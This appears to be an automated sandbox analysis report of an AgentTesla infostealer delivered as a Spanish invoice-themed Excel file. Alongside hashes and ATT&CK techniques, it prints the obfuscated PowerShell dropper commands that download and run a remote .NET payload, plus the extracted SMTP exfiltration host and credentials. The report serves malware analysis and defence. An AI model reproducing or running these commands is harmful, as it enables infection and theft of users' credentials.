agenttesla | 71a0ef3bd50d79be4102f44b986804201125803c2476b37635687990b07b092b

Analysis

max time kernel
102s
max time network
32s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
04-07-2023 15:30

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General

Target

FACTURA Y DATOS BANCARIOS.xlsx
Size

855KB
MD5

47bd19f558a74fc037bcf111c5dd387f
SHA1

b7e2c5f0e8d6a898148f338ac626e924e74f437c
SHA256

71a0ef3bd50d79be4102f44b986804201125803c2476b37635687990b07b092b
SHA512

04bb74797a32d3ad112d91c2b36764f3ba861c6197deb49657e9488b64ac22897523146a248772154bbc9eb36ca9f3a909a1fe0e56b07ec5cd8a17eb976aaa58
SSDEEP

12288:zML7nvXmvC+J2C5jmeva+JB9GL7OnzZXppEiCS/e3PDKxIY+nwHGNFNXGb8LvNMH:amvCEV1vTvKin3yd0/kxPS8hMOK85MF

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://cryptersandtools.minhacasa.tv/e/e

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.havil.co
Port:
587
Username:
[email protected]
Password:
ND{!x#V2NT%K
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	1892	EQNEDT32.EXE
5	3068	powershell.exe
6	3068	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2813141852-3076131560-4232376420-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2813141852-3076131560-4232376420-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2813141852-3076131560-4232376420-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3068 set thread context of 2448	3068	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
1892	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1748	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1360	powershell.exe
3068	powershell.exe
2448	RegAsm.exe
2448	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	2448	RegAsm.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1748	EXCEL.EXE
1748	EXCEL.EXE
1748	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 2264	1892	EQNEDT32.EXE	29
PID 1892 wrote to memory of 2264	1892	EQNEDT32.EXE	29
PID 1892 wrote to memory of 2264	1892	EQNEDT32.EXE	29
PID 1892 wrote to memory of 2264	1892	EQNEDT32.EXE	29
PID 2264 wrote to memory of 1360	2264	WScript.exe	30
PID 2264 wrote to memory of 1360	2264	WScript.exe	30
PID 2264 wrote to memory of 1360	2264	WScript.exe	30
PID 2264 wrote to memory of 1360	2264	WScript.exe	30
PID 1360 wrote to memory of 3068	1360	powershell.exe	33
PID 1360 wrote to memory of 3068	1360	powershell.exe	33
PID 1360 wrote to memory of 3068	1360	powershell.exe	33
PID 1360 wrote to memory of 3068	1360	powershell.exe	33
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34
PID 3068 wrote to memory of 2448	3068	powershell.exe	34

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2813141852-3076131560-4232376420-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2813141852-3076131560-4232376420-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\FACTURA Y DATOS BANCARIOS.xlsx"
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1748

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\zstiposyh.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgBz⁂GU⁂bgB5⁂G0⁂Lw⁂1⁂DU⁂Lg⁂5⁂DQ⁂Lg⁂w⁂DE⁂MQ⁂u⁂Dk⁂Nw⁂v⁂C8⁂OgBw⁂HQ⁂d⁂Bo⁂Cc⁂KQ⁂p⁂⁂==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.senym/55.94.011.97//:ptth'))"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3068
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:2448

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TP67ZNK4MIAVTK7TL0CC.temp

Filesize
7KB

MD5
61ff1497f519750d13d08c841e0ad128

SHA1
b928564cc1e91efcba1e831a2eea418c3d9471a5

SHA256
7fb627e0b4b64f45a491fa3fb49f9fc073a203950d3f593ab63493d678d712e9

SHA512
9fd930a03336defcf568ec3c4ba09de36226b0b9610ae31bfcf43eda260acda0536c8f2d8ee34672a352492de30bf05ba2e373cb7437d95e2367eb950cde26e0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
61ff1497f519750d13d08c841e0ad128

SHA1
b928564cc1e91efcba1e831a2eea418c3d9471a5

SHA256
7fb627e0b4b64f45a491fa3fb49f9fc073a203950d3f593ab63493d678d712e9

SHA512
9fd930a03336defcf568ec3c4ba09de36226b0b9610ae31bfcf43eda260acda0536c8f2d8ee34672a352492de30bf05ba2e373cb7437d95e2367eb950cde26e0

Download Submit
C:\Users\Admin\AppData\Roaming\zstiposyh.vbs

Filesize
318KB

MD5
84d15dddd6d6d156f0b26f47c2584852

SHA1
319380fde57c61c6532e8ed0a3c80537184c7aa9

SHA256
34543c948a378da9bf0c72d96c99b7b0e1792829ca1e90f8b3cfd5269b7db4b3

SHA512
ead34cd60d0e8301a0a9f82597e185e0c44c35adee66040e0bcd17a14ce89e3b3dc0fec299ca7a6e596bd93397b4c9a7e33ec8385144d2a0dec93e4525efea5d

Download Submit
C:\Users\Admin\AppData\Roaming\zstiposyh.vbs

Filesize
318KB

MD5
84d15dddd6d6d156f0b26f47c2584852

SHA1
319380fde57c61c6532e8ed0a3c80537184c7aa9

SHA256
34543c948a378da9bf0c72d96c99b7b0e1792829ca1e90f8b3cfd5269b7db4b3

SHA512
ead34cd60d0e8301a0a9f82597e185e0c44c35adee66040e0bcd17a14ce89e3b3dc0fec299ca7a6e596bd93397b4c9a7e33ec8385144d2a0dec93e4525efea5d

Download Submit
memory/1360-65-0x00000000026E0000-0x0000000002720000-memory.dmp

Filesize
256KB

Download
memory/1748-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2448-145-0x0000000004EF0000-0x0000000004F30000-memory.dmp

Filesize
256KB

Download
memory/2448-144-0x0000000004EF0000-0x0000000004F30000-memory.dmp

Filesize
256KB

Download
memory/2448-143-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/2448-134-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/2448-135-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/2448-133-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/3068-121-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-99-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-107-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-111-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-117-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-125-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-131-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-129-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-127-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-123-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-95-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-119-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-115-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-113-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-109-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-105-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-103-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-101-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-97-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-93-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-91-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-87-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-85-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-81-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-77-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-75-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-72-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-132-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

Filesize
4KB

Download
memory/3068-89-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-83-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-79-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-73-0x0000000004FA0000-0x0000000004FC0000-memory.dmp

Filesize
128KB

Download
memory/3068-71-0x0000000002450000-0x0000000002490000-memory.dmp

Filesize
256KB

Download
memory/3068-70-0x0000000002450000-0x0000000002490000-memory.dmp

Filesize
256KB

Download